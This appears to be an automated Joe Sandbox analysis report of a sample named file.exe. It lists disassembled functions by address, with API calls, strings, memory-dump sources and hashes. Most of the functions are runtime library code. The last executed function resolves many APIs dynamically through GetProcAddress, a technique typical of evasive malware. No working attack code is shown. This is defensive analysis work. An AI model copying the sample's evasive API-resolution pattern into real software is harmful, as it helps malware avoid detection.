Function 00063F26 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(03630520,03630520,00000000,7FFFFFFF,?,00063F11,03630520,03630520,00000000,03630520,?,?,?,?,03630520,00000000), ref: 00063FCC
__alloca_probe_16.LIBCMT ref: 00064087
__alloca_probe_16.LIBCMT ref: 00064116
__freea.LIBCMT ref: 00064161
__freea.LIBCMT ref: 00064167
__freea.LIBCMT ref: 0006419D
__freea.LIBCMT ref: 000641A3
__freea.LIBCMT ref: 000641B3

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 496ab1eba6fa31e65dbd2c39cc7436901cebc05339ba1d9d70f18d76fac6694e
Instruction ID: 38b657edd1d3fc8ebf5b1e7483896a8f78ec8159d44e3a3aa13639e6d661ca5f
Opcode Fuzzy Hash: 496ab1eba6fa31e65dbd2c39cc7436901cebc05339ba1d9d70f18d76fac6694e
Instruction Fuzzy Hash: 3771D172900215ABEF219F64CC45BEF7BFBDF5A310F250059EA05AB282D635DE8487A0

Function 000548D0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 243COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00054977

Strings

(^Hx, xrefs: 00054A97
(^Hx, xrefs: 00054A8C
(^Hx, xrefs: 00054A6B

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ___std_exception_copy
String ID: (^Hx$(^Hx$(^Hx
API String ID: 2659868963-1348055467
Opcode ID: ab57a1687140bbcd10b1fb003b069eaa37888ec7a14c7e7984d699dca860be92
Instruction ID: 16ee0710cab38558ce6cc35a16fa72af67e350be4aa9899c5a4bb1eab987f1f2
Opcode Fuzzy Hash: ab57a1687140bbcd10b1fb003b069eaa37888ec7a14c7e7984d699dca860be92
Instruction Fuzzy Hash: 488160392043008FAB64CE19D5C527F73D2979532AF688E16E955CF7E0EA798CCD8742

Function 00059E20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00059E57
___except_validate_context_record.LIBVCRUNTIME ref: 00059E5F
_ValidateLocalCookies.LIBCMT ref: 00059EE8
__IsNonwritableInCurrentImage.LIBCMT ref: 00059F13
_ValidateLocalCookies.LIBCMT ref: 00059F68

Strings

csm, xrefs: 00059EFD

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c4c169c3394bf56582b8cfaf4b5196ea958157607d0fb46727647ebd935a6f58
Instruction ID: eeb67f8303ffd9c0d7306ce9c1bbe00d0211b301508fb9fe65382b1a14023330
Opcode Fuzzy Hash: c4c169c3394bf56582b8cfaf4b5196ea958157607d0fb46727647ebd935a6f58
Instruction Fuzzy Hash: E8418D34A00209DBCF10DF68C885A9FBBB5AF45319F148066ED199B392E735EA49CB91

Function 0005C87A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,57981F7C,?,0005C989,?,00037824,00000000,00000000), ref: 0005C93B

Strings

api-ms-, xrefs: 0005C8D1
ext-ms-, xrefs: 0005C8E5

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: ea261bd9ce968fb20102e25c6a7e1183fb2c70ba42e47f9f77cceb342fd3a846
Instruction ID: 57904a17e5270a6baa73a311a0fb329bc8c2952e05c84619309556b3cbeeb570
Opcode Fuzzy Hash: ea261bd9ce968fb20102e25c6a7e1183fb2c70ba42e47f9f77cceb342fd3a846
Instruction Fuzzy Hash: 35210835A00311AFF7319B25DC48E6B37999F413B2F240110FD46A7291DBB4ED04C6D0

Function 0005C11E Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0005C115,00059BFD,000597F4), ref: 0005C12C
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0005C13A
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0005C153
SetLastError.KERNEL32(00000000,0005C115,00059BFD,000597F4), ref: 0005C1A5

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0ef7ff25a54b3ee820eab164b0d152c80e02a3be52d905bb2f672e8cc3f02d48
Instruction ID: 98fd9d2483f3f6f9814281a047d8a098f7fc8cbbb4de500cdfc7f77ba9871637
Opcode Fuzzy Hash: 0ef7ff25a54b3ee820eab164b0d152c80e02a3be52d905bb2f672e8cc3f02d48
Instruction Fuzzy Hash: F5012832609B115EF72417B8BC85D672A96CB1277A720022AF824450F3EFD51C04929C

Function 0004DCE0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

Strings

eIY, xrefs: 0004DD78
eIY, xrefs: 0004DD55
string too long, xrefs: 0004DE3A
eIY, xrefs: 0004DDD8

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: string too long$eIY$eIY$eIY
API String ID: 0-1759105153
Opcode ID: 2d77fc0c821105cc4a34ff25279f94f51d8e04f034a974662c6773756ee01b24
Instruction ID: 48ef43135cbb619c40c07033ec3d24d566f974dff36164e4877f507c90067fd0
Opcode Fuzzy Hash: 2d77fc0c821105cc4a34ff25279f94f51d8e04f034a974662c6773756ee01b24
Instruction Fuzzy Hash: 252199B7B04A1097AE280A28C58613E39D34BE2770F1F45B7D4452F3A7C636CCC5929E

Function 0005FA94 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\file.exe, xrefs: 0005FAB0

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\file.exe
API String ID: 0-1957095476
Opcode ID: 273694aabb066d453ae0c2dbbe151fb50c863f7f39ab9c262c6968ccae3fbc03
Instruction ID: 0e4f9f5f075f757a1e8b978e05c820ad7de3eab8e40d700fd228ad631cdb727b
Opcode Fuzzy Hash: 273694aabb066d453ae0c2dbbe151fb50c863f7f39ab9c262c6968ccae3fbc03
Instruction Fuzzy Hash: 2B219F71200207AFAB20AF74C891DBB77A9EF003667108539FD69D7152E738ED088BA1

Function 0005A905 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,57981F7C,?,?,?,0006638E,000000FF), ref: 0005A93A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0005A94C
FreeLibrary.KERNEL32(00000000,?,?,?,0006638E,000000FF), ref: 0005A96E

Strings

mscoree.dll, xrefs: 0005A933
CorExitProcess, xrefs: 0005A944

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 702ab2d851481659846243ccdd8b07f9926d2e5323b3907e7245b8585ee9d59e
Instruction ID: 2ba0921ef0ee59220de957523f2306f99ed8396dc8f8337301816f6cb7221c8b
Opcode Fuzzy Hash: 702ab2d851481659846243ccdd8b07f9926d2e5323b3907e7245b8585ee9d59e
Instruction Fuzzy Hash: 9A01A231A40626AFEB119F50CC09FBEB7B9FB05B15F040226FC11A6690DBB89900CA90

Function 000629C8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,000628CE,?,?,00000000,00000000,00000000,?), ref: 000629ED
CatchIt.LIBVCRUNTIME ref: 00062AD3

Strings

MOC, xrefs: 000629FF
RCC, xrefs: 00062A07

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 9ef12a477f58502f7509d2bfbc751a16f9283d17f752011af591ae3c802dc1b6
Instruction ID: bef8ff2c2985aecff452532e959497cf1cfdbb7eb7e93046513f9acc3a315966
Opcode Fuzzy Hash: 9ef12a477f58502f7509d2bfbc751a16f9283d17f752011af591ae3c802dc1b6
Instruction Fuzzy Hash: DD414A71900609AFDF25DF98CD81AEEBBB6FF48300F188059F904A7262D3B59D50DB92

Function 00060C02 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 00060C0F
GetLastError.KERNEL32 ref: 00060C19
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00060C41

Strings

api-ms-, xrefs: 00060C26

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 91f569e675f52626cf5c0cf98eff842eb75f184833f31296050f6289b4b05a3c
Instruction ID: 1cf35e7b302d107332ae98fc086425617b21fecac616141cb7bf4cd456158104
Opcode Fuzzy Hash: 91f569e675f52626cf5c0cf98eff842eb75f184833f31296050f6289b4b05a3c
Instruction Fuzzy Hash: 59E01A302C0245BAFA602BA0ED16F6B3B96EB00B62F100121FD4DA80E1DBE699509584

Function 0006155F Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(57981F7C,00000000,00000000,?), ref: 000615C2

Part of subcall function 000600EE: WideCharToMultiByte.KERNEL32(?,00000000,00043026,00000000,00000000,00000000,000000FF,?,?,00000000,00043026,?,0005C051,?,00000000,?), ref: 0006014F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00061814
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0006185A
GetLastError.KERNEL32 ref: 000618FD

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 5aa0c71c9b28aa1f2c5038e344cbcc45419ce8585be7041104bb3929ba7173b0
Instruction ID: f69f0871f10a3b4cc7722040d537e355da20b2678c4d7b23d7d6630537f8806e
Opcode Fuzzy Hash: 5aa0c71c9b28aa1f2c5038e344cbcc45419ce8585be7041104bb3929ba7173b0
Instruction Fuzzy Hash: C7D16B75D042489FDB15CFA8D8809EDBBF6FF09314F28452AE866EB352D730A941CB60

Function 000623CC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00062493
___AdjustPointer.LIBCMT ref: 000624B6
___AdjustPointer.LIBCMT ref: 00062552

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 1e83a5638536ddfed4f0119e0852ffd3e240887a9803029236925a441b6848fa
Instruction ID: 4919bf80a0a74e932c4c0f834254e3fcd5a281d156060cc5076006e9aed18245
Opcode Fuzzy Hash: 1e83a5638536ddfed4f0119e0852ffd3e240887a9803029236925a441b6848fa
Instruction Fuzzy Hash: 3351B171601A02DFDB298F54D991BBAB7E6FF50310F14452DEC06976A2DB31ED80D790

Function 0005F4EE Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 000600EE: WideCharToMultiByte.KERNEL32(?,00000000,00043026,00000000,00000000,00000000,000000FF,?,?,00000000,00043026,?,0005C051,?,00000000,?), ref: 0006014F

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,0005F894,?,?,?,00000000), ref: 0005F552
__dosmaperr.LIBCMT ref: 0005F559
GetLastError.KERNEL32(00000000,0005F894,?,?,00000000,?,?,?,00000000,00000000,?,0005F894,?,?,?,00000000), ref: 0005F593
__dosmaperr.LIBCMT ref: 0005F59A

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: d855e88313f1d9122955177468a758a2c9753e716a8458d59e15d2d4f215668e
Instruction ID: f2464871a94aedfa03ec2f4d18f959a6182e723914db1734e0bf768fedef3d98
Opcode Fuzzy Hash: d855e88313f1d9122955177468a758a2c9753e716a8458d59e15d2d4f215668e
Instruction Fuzzy Hash: 9221B371600A16AF9B20AF65C88087FB7A9FF003667108539FE5997151F738ED048B90

Function 000601EA Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000601F2

Part of subcall function 000600EE: WideCharToMultiByte.KERNEL32(?,00000000,00043026,00000000,00000000,00000000,000000FF,?,?,00000000,00043026,?,0005C051,?,00000000,?), ref: 0006014F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0006022A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0006024A

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 7110801b3f016a9870814f02f442d33b418fb5ed7ab1d2131e3e19bf8f0b6a8f
Instruction ID: b34e038711bcefb1cd9d65d2d3bf1fe7463e41199bd1c2b9203eb4066ff0d401
Opcode Fuzzy Hash: 7110801b3f016a9870814f02f442d33b418fb5ed7ab1d2131e3e19bf8f0b6a8f
Instruction Fuzzy Hash: 7311C0A694191B7FBB2137729CDDCBF6AAFDF863A57100426F842D5102FAA8CE058570

Function 000643E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00063BC2,00000000,00000001,00000000,?,?,00061951,?,00000000,00000000), ref: 000643F7
GetLastError.KERNEL32(?,00063BC2,00000000,00000001,00000000,?,?,00061951,?,00000000,00000000,?,?,?,00061297,00000000), ref: 00064403

Part of subcall function 00064460: CloseHandle.KERNEL32(FFFFFFFE,00064413,?,00063BC2,00000000,00000001,00000000,?,?,00061951,?,00000000,00000000,?,?), ref: 00064470

___initconout.LIBCMT ref: 00064413

Part of subcall function 00064435: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,000643D1,00063BAF,?,?,00061951,?,00000000,00000000,?), ref: 00064448

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00063BC2,00000000,00000001,00000000,?,?,00061951,?,00000000,00000000,?), ref: 00064428

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1e415dda296e504032e8dd68a99d5696444d9812c52acd1977a44eb1f8d4911d
Instruction ID: 0593f82bc89b5f3af57ca72c9196e25b7f59be25481bf17a3e1f3f7a9e6cfaf5
Opcode Fuzzy Hash: 1e415dda296e504032e8dd68a99d5696444d9812c52acd1977a44eb1f8d4911d
Instruction Fuzzy Hash: 34F01536500159BBEF222FD2EC09E9A3F67FF09BA5B414010FE5985120CBB38820DB90

Function 0006223C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00062245

Strings

csm, xrefs: 00062267
csm, xrefs: 000622D8

Memory Dump Source

Source File: 00000000.00000002.1687051682.0000000000031000.00000020.00000001.01000000.00000003.sdmp, Offset: 00030000, based on PE: true

Associated: 00000000.00000002.1687030810.0000000000030000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687108621.0000000000067000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687145860.000000000006D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687224903.000000000006E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687244118.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687277278.0000000000073000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30000_file.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 3b2ba27a70990392fe2810d678f7022b05cb32b695290ca071aaa62ec73ca2dc
Instruction ID: 2be6fcf07e90a897a8cc8f46139402bd521307b180d1ec3c79b03f54cb80993e
Opcode Fuzzy Hash: 3b2ba27a70990392fe2810d678f7022b05cb32b695290ca071aaa62ec73ca2dc
Instruction Fuzzy Hash: 3931B531400666EFCF768F50CC549AE7BA7FF09315B18855AFC5449211C33ACEA1DB92

Analysis Process: file.exePID: 7472, Parent PID: 7416COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	116

Executed Functions

Function 004268F0 Relevance: 210.7, APIs: 115, Strings: 5, Instructions: 696
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,02F5D798), ref: 00426905
GetProcAddress.KERNEL32(74DD0000,02F5D7D8), ref: 0042691D
GetProcAddress.KERNEL32(74DD0000,02F5AC60), ref: 00426936
GetProcAddress.KERNEL32(74DD0000,02F5ACA8), ref: 0042694E
GetProcAddress.KERNEL32(74DD0000,02F5AC30), ref: 00426966
GetProcAddress.KERNEL32(74DD0000,02F5AAB0), ref: 0042697F
GetProcAddress.KERNEL32(74DD0000,02F5FF78), ref: 00426997
GetProcAddress.KERNEL32(74DD0000,02F5ABD0), ref: 004269AF
GetProcAddress.KERNEL32(74DD0000,02F5AC78), ref: 004269C8
GetProcAddress.KERNEL32(74DD0000,02F5ABE8), ref: 004269E0
